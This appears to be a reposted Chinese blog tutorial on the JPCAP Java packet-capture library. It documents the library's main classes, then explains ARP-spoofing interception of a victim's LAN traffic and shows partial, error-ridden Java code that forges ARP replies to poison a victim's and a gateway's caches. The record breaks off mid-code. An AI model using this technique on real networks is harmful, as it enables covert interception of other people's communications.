JPCAP——JAVA中的數據鏈路層控制
一．JPCAP簡介
眾所周知，JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義，但對于網絡層以下的控制，卻是無能為力的。JPCAP擴展包彌補了這一點。
JPCAP實際上并非一個真正去實現對數據鏈路層的控制，而是一個中間件，JPCAP調用wincap/libpcap，而給JAVA語言提供一個公共的接口，從而實現了平臺無關性。在官方網站上聲明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。
二．JPCAP機制
JPCAP的整個結構大體上跟wincap/libpcap是很相像的，例如NetworkInterface類對應wincap的typedef struct _ADAPTER ADAPTER，getDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類，下面就其中最重要的4個類做說明。
1．NetworkInterface
該類的每一個實例代表一個網絡設備，一般就是網卡。這個類只有一些數據成員，除了繼承自java.lang.Object的基本方法以外，沒有定義其它方法。
|
數據成員
|
|
NetworkInterfaceAddress[]
|
addresses
這個接口的網絡地址。設定為數組應該是考慮到有些設備同時連接多條線路，例如路由器。但我們的PC機的網卡一般只有一條線路，所以我們一般取addresses[0]就夠了。
|
|
java.lang.String
|
datalink_description.
數據鏈路層的描述。描述所在的局域網是什么網。例如，以太網（Ethernet）、無線LAN網（wireless LAN）、令牌環網(token ring)等等。
|
|
java.lang.String
|
datalink_name
該網絡設備所對應數據鏈路層的名稱。具體來說，例如Ethernet10M、100M、1000M等等。
|
|
java.lang.String
|
description
網卡是XXXX牌子XXXX型號之類的描述。例如我的網卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
|
|
boolean
|
Loopback
標志這個設備是否loopback設備。
|
|
byte[]
|
mac_address
網卡的MAC地址，6個字節。
|
|
java.lang.String
|
Name
這個設備的名稱。例如我的網卡名稱：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
|
2．JpcapCaptor
該類提供了一系列靜態方法實現一些基本的功能。該類一個實例代表建立了一個與指定設備的鏈接，可以通過該類的實例來控制設備，例如設定網卡模式、設定過濾關鍵字等等。
|
數據成員
|
|
int
|
dropped_packets
拋棄的包的數目。
|
|
protected int
|
ID
這個數據成員在官方文檔中并沒有做任何說明，查看JPCAP源代碼可以發現這個ID實際上在其JNI的C代碼部分傳進來的，這類本身并沒有做出定義，所以是供其內部使用的。實際上在對JpcapCator實例的使用中也沒有辦法調用此數據成員。
|
|
protected static boolean[]
|
instanciatedFlag
同樣在官方文檔中沒有做任何說明，估計其為供內部使用。
|
|
protected static int
|
MAX_NUMBER_OF_INSTANCE
同樣在官方文檔中沒有做任何說明，估計其為供內部使用。
|
|
int
|
received_packets
收到的包的數目
|
|
方法成員
|
|
static NetworkInterface[]
|
getDeviceList()
返回一個網絡設備列表。
|
|
static JpcapCaptor
|
openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
創建一個與指定設備的連接并返回該連接。注意，以上兩個方法都是靜態方法。
Interface：要打開連接的設備的實例；
Snaplen：這個是比較容易搞混的一個參數。其實這個參數不是限制只能捕捉多少數據包，而是限制每一次收到一個數據包，只提取該數據包中前多少字節；
Promisc：設置是否混雜模式。處于混雜模式將接收所有數據包，若之后又調用了包過濾函數setFilter()將不起任何作用；
To_ms：這個參數主要用于processPacket()方法，指定超時的時間；
|
|
void
|
Close()
關閉調用該方法的設備的連接，相對于openDivece()打開連接。
|
|
JpcapSender
|
getJpcapSenderInstance()
該返回一個JpcapSender實例，JpcapSender類是專門用于控制設備的發送數據包的功能的類。
|
|
Packet
|
getPacket()
捕捉并返回一個數據包。這是JpcapCaptor實例中四種捕捉包的方法之一。
|
|
int
|
loopPacket(int count, PacketReceiver handler)
捕捉指定數目的數據包，并交由實現了PacketReceiver接口的類的實例處理，并返回捕捉到的數據包數目。如果count參數設為－1，那么無限循環地捕捉數據。
這個方法不受超時的影響。還記得openDivice()中的to_ms參數么？那個參數對這個方法沒有影響，如果沒有捕捉到指定數目數據包，那么這個方法將一直阻塞等待。
PacketReceiver中只有一個抽象方法void receive(Packet p)。
|
|
int
|
processPacket(int count, PacketReceiver handler)
跟loopPacket()功能一樣，唯一的區別是這個方法受超時的影響，超過指定時間自動返回捕捉到數據包的數目。
|
|
int
|
dispatchPacket(int count, PacketReceiver handler)
跟processPacket()功能一樣，區別是這個方法可以處于“non-blocking”模式工作，在這種模式下dispatchPacket()可能立即返回，即使沒有捕捉到任何數據包。
|
|
void
|
setFilter(java.lang.String condition, boolean optimize)
.condition：設定要提取的包的關鍵字。
Optimize：這個參數在說明文檔以及源代碼中都沒有說明，只是說這個參數如果為真，那么過濾器將處于優化模式。
|
|
void
|
setNonBlockingMode(boolean nonblocking)
如果值為“true”，那么設定為“non-blocking”模式。
|
|
void
|
breakLoop()
當調用processPacket()和loopPacket()后，再調用這個方法可以強制讓processPacket()和loopPacket()停止。
|
3．JpcapSender
該類專門用于控制數據包的發送。
|
方法成員
|
|
void
|
close()
強制關閉這個連接。
|
|
static JpcapSender
|
openRawSocket()
這個方法返回的JpcapSender實例發送數據包時將自動填寫數據鏈路層頭部分。
|
|
void
|
sendPacket(Packet packet)
JpcapSender最重要的功能，發送數據包。需要注意的是，如果調用這個方法的實例是由JpcapCaptor的getJpcapSenderInstance()得到的話，需要自己設定數據鏈路層的頭，而如果是由上面的openRawSocket()得到的話，那么無需也不能設置，數據鏈路層的頭部將由系統自動生成。
|
4．Packet
這個是所有其它數據包類的父類。Jpcap所支持的數據包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket
三．使用JPCAP實現監聽
1．監聽原理
在詳細說用JPCAP實現網絡監聽實現前，先簡單介紹下監聽的原理。
局域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段，局域網的布局是使用總線式（或集線式）結構，要到達監聽只需要將網卡設定為混雜模式即可，但現在的局域網絡普遍采用的是交換式網絡，所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的，我們需要“欺騙”路由器、“欺騙”交換機，即“ARP欺騙”技術。
假設本機為A，監聽目標為B。
首先，偽造一個ARP REPLY包，數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址，而源IP部分填入網關IP，目的地址填入B的MAC、IP，然后將這個包發送給B，而B接收到這個偽造的ARP REPLY包后，由于源IP為網關IP，于是在它的ARP緩存表里刷新了一項，將（網關IP，網關MAC）刷新成（網關IP，A的MAC）。而B要訪問外部的網都需要經過網關，這時候這些要經過網關的包就通通流到A的機器上來了。
接著，再偽造一個ARP REPLY包，數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入網關MAC、IP，然后將這個包發給網關，網關接收到這個偽造的ARP REPLY包后，由于源IP為B的IP，于是在它的ARP緩存表里刷新了一項，將（B的IP，B的MAC）刷新成（B的IP，A的MAC）。這時候外部傳給B的數據包經過網關時，就通通轉發給A。
這樣還只是攔截了B的數據包而已，B并不能上網——解決方法是將接收到的包，除了目的地址部分稍做修改，其它原封不動的再轉發出去，這樣就達到了監聽的目的——在B不知不覺中瀏覽了B所有的對外數據包。
ARP數據包解析
單元：Byte
|
Ethernet頭部
|
ARP數據部分
|
|
６
|
６
|
２
|
2
|
2
|
2
|
2
|
４
|
６
|
４
|
６
|
|
目標MAC地址
|
源地MAC地址
|
類型號0x0800:ip
0x0806:ARP
|
局域網類型
以太網0x0001
|
網絡協議類型
IP網絡0x0800
|
MAC/IP地址長度，恒為0x06/04
|
ARP包類型
REPLY
0x0002
|
ARP目標IP地址
|
ARP目標MAC 地址
|
ARP源IP地址
|
ARP源MAC地址
|
2．用JPCAP實現監聽
就如上面說的，為了實現監聽，我們必須做四件事：
A．發送ARP包修改B的ARP緩存表；
B．發送ARP包修改路由ARP緩存表；
C．轉發B發過來的數據包；
D．轉發路由發過來的數據包；
下面我們給個小小的例子說明怎樣實現。
我們假定運行這個程序的機器A只有一個網卡，只接一個網絡，所在局域網為Ethernet，并且假定已經通過某種方式獲得B和網關的MAC地址（例如ARP解析獲得）。我們修改了B和網關的ARP表，并對他們的包進行了轉發。
public class changeARP{
private NetworkInterface[] devices; //設備列表
private NetworkInterface device; //要使用的設備
private JpcapCaptor jpcap; //與設備的連接
private JpcapSender sender; //用于發送的實例
private byte[] targetMAC, gateMAC; //B的MAC地址，網關的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址，網關的IP地址
/**
*初始化設備
* JpcapCaptor.getDeviceList()得到設備可能會有兩個，其中一個必定是“Generic
*dialup adapter”，這是windows系統的虛擬網卡，并非真正的硬件設備。
*注意：在這里有一個小小的BUG，如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
*JFame（）這類的語句會影響得到設備個數，只會得到真正的硬件設備，而不會出現虛擬網卡。
*虛擬網卡只有MAC地址而沒有IP地址，而且如果出現虛擬網卡，那么實際網卡的MAC將分
*配給虛擬網卡，也就是說在程序中調用device. mac_address時得到的是00 00 00 00 00 00。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //獲得設備列表
device = devices[0]; //只有一個設備
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設備的連接
jpcap.setFilter(“ip”,true); //只監聽B的IP數據包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和網關的ARP表。因為網關會定時發數據包刷新自己和B的緩存表，所以必須每隔一
*段時間就發一次包重新更改B和網關的ARP表。
*@參數 targetMAC B的MAC地址，可通過ARP解析得到；
*@參數 targetIp B的IP地址；
*@參數 gateMAC 網關的MAC地址；
*@參數 gateIp 網關的IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網類型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網絡協議類型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
arpTarget.hlen = 6; //MAC地址長度固定6個字節
arpTarget.plen = 4; //IP地址長度固定4個字節
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網關IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
轉:http://nicky-hk.javaeye.com/blog/46719